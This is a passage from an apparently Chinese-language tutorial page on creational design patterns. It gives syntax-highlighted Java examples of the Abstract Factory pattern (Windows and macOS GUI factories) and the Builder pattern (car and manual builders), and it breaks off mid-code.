punctuation">&#123;</span></pre></td></tr><tr><td data-num="20"></td><td><pre> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Circle</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="21"></td><td><pre> <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span></pre></td></tr><tr><td data-num="22"></td><td><pre> <span class="token keyword">return</span> <span class="token keyword">null</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="23"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="24"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr></table></figure><h2 id="抽象工厂模式"><a class="anchor" href="#抽象工厂模式">#</a> 抽象工厂模式</h2>
<ul>
<li>创建一系列相关的对象</li>
<li>无需指定其具体类。</li>
<li>其他工厂的工厂。</li>
</ul>
<figure class="highlight java"><figcaption data-lang="java"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token comment">// 定义抽象工厂</span></pre></td></tr><tr><td data-num="2"></td><td><pre></pre></td></tr><tr><td data-num="3"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">interface</span> <span class="token class-name">GUIFactory</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="4"></td><td><pre> <span class="token class-name">Button</span> <span class="token function">createButton</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="5"></td><td><pre> <span class="token class-name">Checkbox</span> <span class="token function">createCheckbox</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="6"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="7"></td><td><pre></pre></td></tr><tr><td data-num="8"></td><td><pre><span class="token comment">// 接着,定义 Button 和 Checkbox 接口:</span></pre></td></tr><tr><td data-num="9"></td><td><pre></pre></td></tr><tr><td data-num="10"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">interface</span> <span class="token class-name">Button</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="11"></td><td><pre> <span class="token keyword">void</span> <span class="token function">paint</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="12"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="13"></td><td><pre></pre></td></tr><tr><td data-num="14"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">interface</span> <span class="token class-name">Checkbox</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="15"></td><td><pre> <span class="token keyword">void</span> <span class="token function">paint</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="16"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="17"></td><td><pre></pre></td></tr><tr><td data-num="18"></td><td><pre><span class="token comment">// 然后,实现具体的工厂类 WinFactory 和 MacFactory:</span></pre></td></tr><tr><td data-num="19"></td><td><pre></pre></td></tr><tr><td data-num="20"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">WinFactory</span> <span class="token keyword">implements</span> <span class="token class-name">GUIFactory</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="21"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="22"></td><td><pre> <span class="token keyword">public</span> <span class="token class-name">Button</span> <span class="token function">createButton</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="23"></td><td><pre> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">WinButton</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="24"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="25"></td><td><pre></pre></td></tr><tr><td data-num="26"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="27"></td><td><pre> <span class="token keyword">public</span> <span class="token class-name">Checkbox</span> <span class="token function">createCheckbox</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="28"></td><td><pre> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">WinCheckbox</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="29"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="30"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="31"></td><td><pre></pre></td></tr><tr><td data-num="32"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">MacFactory</span> <span class="token keyword">implements</span> <span class="token class-name">GUIFactory</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="33"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="34"></td><td><pre> <span class="token keyword">public</span> <span class="token class-name">Button</span> <span class="token function">createButton</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="35"></td><td><pre> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">MacButton</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="36"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="37"></td><td><pre></pre></td></tr><tr><td data-num="38"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="39"></td><td><pre> <span class="token keyword">public</span> <span class="token class-name">Checkbox</span> <span class="token function">createCheckbox</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="40"></td><td><pre> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">MacCheckbox</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="41"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="42"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="43"></td><td><pre></pre></td></tr><tr><td data-num="44"></td><td><pre><span class="token comment">// 定义具体产品类 WinButton, WinCheckbox, MacButton, 和 MacCheckbox:</span></pre></td></tr><tr><td data-num="45"></td><td><pre></pre></td></tr><tr><td data-num="46"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">WinButton</span> <span class="token keyword">implements</span> <span class="token class-name">Button</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="47"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="48"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">paint</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="49"></td><td><pre> <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Rendering a button in Windows style."</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="50"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="51"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="52"></td><td><pre></pre></td></tr><tr><td data-num="53"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">MacButton</span> <span class="token keyword">implements</span> <span class="token class-name">Button</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="54"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="55"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">paint</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="56"></td><td><pre> <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Rendering a button in macOS style."</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="57"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="58"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="59"></td><td><pre></pre></td></tr><tr><td data-num="60"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">WinCheckbox</span> <span class="token keyword">implements</span> <span class="token class-name">Checkbox</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="61"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="62"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">paint</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="63"></td><td><pre> <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Rendering a checkbox in Windows style."</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="64"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="65"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="66"></td><td><pre></pre></td></tr><tr><td data-num="67"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">MacCheckbox</span> <span class="token keyword">implements</span> <span class="token class-name">Checkbox</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="68"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="69"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">paint</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="70"></td><td><pre> <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Rendering a checkbox in macOS style."</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="71"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="72"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="73"></td><td><pre></pre></td></tr><tr><td data-num="74"></td><td><pre><span class="token comment">// 最后,实现客户端代码 Application 和 ApplicationConfigurator:</span></pre></td></tr><tr><td data-num="75"></td><td><pre></pre></td></tr><tr><td data-num="76"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">Application</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="77"></td><td><pre> <span class="token keyword">private</span> <span class="token class-name">GUIFactory</span> factory<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="78"></td><td><pre> <span class="token keyword">private</span> <span class="token class-name">Button</span> button<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="79"></td><td><pre></pre></td></tr><tr><td data-num="80"></td><td><pre> <span class="token keyword">public</span> <span class="token class-name">Application</span><span class="token punctuation">(</span><span class="token class-name">GUIFactory</span> factory<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="81"></td><td><pre> <span class="token keyword">this</span><span class="token punctuation">.</span>factory <span class="token operator">=</span> factory<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="82"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="83"></td><td><pre></pre></td></tr><tr><td data-num="84"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">createUI</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="85"></td><td><pre> <span class="token keyword">this</span><span class="token punctuation">.</span>button <span class="token operator">=</span> factory<span class="token punctuation">.</span><span class="token function">createButton</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="86"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="87"></td><td><pre></pre></td></tr><tr><td data-num="88"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">paint</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="89"></td><td><pre> button<span class="token punctuation">.</span><span class="token function">paint</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="90"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="91"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="92"></td><td><pre></pre></td></tr><tr><td data-num="93"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">ApplicationConfigurator</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="94"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="95"></td><td><pre> <span class="token class-name">GUIFactory</span> factory<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="96"></td><td><pre> <span class="token class-name">String</span> <span class="token constant">OS</span> <span class="token operator">=</span> <span class="token class-name">System</span><span class="token punctuation">.</span><span class="token function">getProperty</span><span class="token punctuation">(</span><span class="token string">"os.name"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="97"></td><td><pre> </pre></td></tr><tr><td data-num="98"></td><td><pre> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token constant">OS</span><span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span><span class="token string">"Windows"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="99"></td><td><pre> factory <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WinFactory</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="100"></td><td><pre> <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token constant">OS</span><span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span><span class="token string">"Mac"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="101"></td><td><pre> factory <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">MacFactory</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="102"></td><td><pre> <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="103"></td><td><pre> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">RuntimeException</span><span class="token punctuation">(</span><span class="token string">"Error! Unknown operating system."</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="104"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="105"></td><td><pre></pre></td></tr><tr><td data-num="106"></td><td><pre> <span class="token class-name">Application</span> app <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Application</span><span class="token punctuation">(</span>factory<span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="107"></td><td><pre> app<span class="token punctuation">.</span><span class="token function">createUI</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="108"></td><td><pre> app<span class="token punctuation">.</span><span class="token function">paint</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="109"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="110"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr></table></figure><p>这段 Java 代码完整实现了抽象工厂模式,包括抽象工厂接口、具体工厂类、抽象产品接口、具体产品类以及客户端代码。客户端代码仅依赖于抽象类型(GUIFactory、Button 和 Checkbox),使得你可以在不修改客户端代码的情况下引入新的工厂或产品变体。</p>
<h2 id="建造者模式"><a class="anchor" href="#建造者模式">#</a> 建造者模式</h2>
<ul>
<li>AKA 生成器模式</li>
<li>分步骤创建复杂对象</li>
<li>使用相同的创建代码生成不同类型和形式的对象。</li>
<li>链式编程</li>
<li>只有当产品较为复杂且需要详细配置时,使用生成器模式才有意义。</li>
</ul>
<figure class="highlight java"><figcaption data-lang="java"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">Car</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="2"></td><td><pre> <span class="token comment">// 假设这里有一些属性和方法来表示汽车的各种特性</span></pre></td></tr><tr><td data-num="3"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="4"></td><td><pre></pre></td></tr><tr><td data-num="5"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">Manual</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="6"></td><td><pre> <span class="token comment">// 假设这里有一些属性和方法来表示手册的各种特性</span></pre></td></tr><tr><td data-num="7"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="8"></td><td><pre></pre></td></tr><tr><td data-num="9"></td><td><pre><span class="token comment">// 接下来是 `Builder` 接口的定义,包括创建产品对象不同部件的方法:</span></pre></td></tr><tr><td data-num="10"></td><td><pre></pre></td></tr><tr><td data-num="11"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">interface</span> <span class="token class-name">Builder</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="12"></td><td><pre> <span class="token keyword">void</span> <span class="token function">reset</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="13"></td><td><pre> <span class="token keyword">void</span> <span class="token function">setSeats</span><span class="token punctuation">(</span><span class="token keyword">int</span> number<span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="14"></td><td><pre> <span class="token keyword">void</span> <span class="token function">setEngine</span><span class="token punctuation">(</span><span class="token class-name">String</span> engine<span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="15"></td><td><pre> <span class="token keyword">void</span> <span class="token function">setTripComputer</span><span class="token punctuation">(</span><span class="token keyword">boolean</span> present<span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="16"></td><td><pre> <span class="token keyword">void</span> <span class="token function">setGPS</span><span class="token punctuation">(</span><span class="token keyword">boolean</span> present<span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="17"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="18"></td><td><pre></pre></td></tr><tr><td data-num="19"></td><td><pre><span class="token comment">// 然后,我们实现具体的生成器类 `CarBuilder` 和 `CarManualBuilder`:</span></pre></td></tr><tr><td data-num="20"></td><td><pre></pre></td></tr><tr><td data-num="21"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">CarBuilder</span> <span class="token keyword">implements</span> <span class="token class-name">Builder</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="22"></td><td><pre> <span class="token keyword">private</span> <span class="token class-name">Car</span> car<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="23"></td><td><pre></pre></td></tr><tr><td data-num="24"></td><td><pre> <span class="token keyword">public</span> <span class="token class-name">CarBuilder</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="25"></td><td><pre> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">reset</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="26"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="27"></td><td><pre></pre></td></tr><tr><td data-num="28"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="29"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">reset</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="30"></td><td><pre> <span class="token keyword">this</span><span class="token punctuation">.</span>car <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Car</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="31"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="32"></td><td><pre></pre></td></tr><tr><td data-num="33"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="34"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">setSeats</span><span class="token punctuation">(</span><span class="token keyword">int</span> number<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="35"></td><td><pre> <span class="token comment">// 实现设置座位数的逻辑</span></pre></td></tr><tr><td data-num="36"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="37"></td><td><pre></pre></td></tr><tr><td data-num="38"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="39"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">setEngine</span><span class="token punctuation">(</span><span class="token class-name">String</span> engine<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="40"></td><td><pre> <span class="token comment">// 实现设置引擎的逻辑</span></pre></td></tr><tr><td data-num="41"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="42"></td><td><pre></pre></td></tr><tr><td data-num="43"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="44"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">setTripComputer</span><span class="token punctuation">(</span><span class="token keyword">boolean</span> present<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="45"></td><td><pre> <span class="token comment">// 实现设置行车电脑的逻辑</span></pre></td></tr><tr><td data-num="46"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="47"></td><td><pre></pre></td></tr><tr><td data-num="48"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="49"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">setGPS</span><span class="token punctuation">(</span><span class="token keyword">boolean</span> present<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="50"></td><td><pre> <span class="token comment">// 实现设置 GPS 的逻辑</span></pre></td></tr><tr><td data-num="51"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="52"></td><td><pre></pre></td></tr><tr><td data-num="53"></td><td><pre> <span class="token keyword">public</span> <span class="token class-name">Car</span> <span class="token function">getProduct</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="54"></td><td><pre> <span class="token class-name">Car</span> product <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>car<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="55"></td><td><pre> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">reset</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="56"></td><td><pre> <span class="token keyword">return</span> product<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="57"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="58"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="59"></td><td><pre></pre></td></tr><tr><td data-num="60"></td><td><pre><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">CarManualBuilder</span> <span class="token keyword">implements</span> <span class="token class-name">Builder</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="61"></td><td><pre> <span class="token keyword">private</span> <span class="token class-name">Manual</span> manual<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="62"></td><td><pre></pre></td></tr><tr><td data-num="63"></td><td><pre> <span class="token keyword">public</span> <span class="token class-name">CarManualBuilder</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="64"></td><td><pre> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">reset</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="65"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="66"></td><td><pre></pre></td></tr><tr><td data-num="67"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="68"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">reset</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="69"></td><td><pre> <span class="token keyword">this</span><span class="token punctuation">.</span>manual <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Manual</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="70"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="71"></td><td><pre></pre></td></tr><tr><td data-num="72"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="73"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">setSeats</span><span class="token punctuation">(</span><span class="token keyword">int</span> number<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="74"></td><td><pre> <span class="token comment">// 实现添加关于座椅的文档逻辑</span></pre></td></tr><tr><td data-num="75"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="76"></td><td><pre></pre></td></tr><tr><td data-num="77"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="78"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">setEngine</span><span class="token punctuation">(</span><span class="token class-name">String</span> engine<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="79"></td><td><pre> <span class="token comment">// 实现添加关于引擎的介绍逻辑</span></pre></td></tr><tr><td data-num="80"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="81"></td><td><pre></pre></td></tr><tr><td data-num="82"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="83"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">setTripComputer</span><span class="token punctuation">(</span><span class="token keyword">boolean</span> present<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="84"></td><td><pre> <span class="token comment">// 实现添加关于行车电脑的介绍逻辑</span></pre></td></tr><tr><td data-num="85"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="86"></td><td><pre></pre></td></tr><tr><td data-num="87"></td><td><pre> <span class="token annotation punctuation">@Override</span></pre></td></tr><tr><td data-num="88"></td><td><pre> <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">setGPS</span><span class="token punctuation">(</span><span class="token keyword">boolean</span> present<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="89"></td><td><pre> <span class="token comment">// 实现添加关于 GPS 的介绍逻辑</span></pre></td></tr><tr><td data-num="90"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="91"></td><td><pre></pre></td></tr><tr><td data-num="92"></td><td><pre> <span class="token keyword">public</span> <span class="token class-name">Manual</span> <span class="token function">getProduct</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="93"></td><td><pre> <span class="token class-name">Manual</span> product <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>manual<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="94"></td><td><pre> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">reset</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="95"></td><td><pre> <span class="token keyword">return</span> product<span class="token punctuation">;</span></pre></td></tr><tr><td data-num="96"></td><td><pre> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="97"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="98"></td><td><pre></pre></td></tr><tr><td data-num="99"></td><td><pre><span class="token comment">// 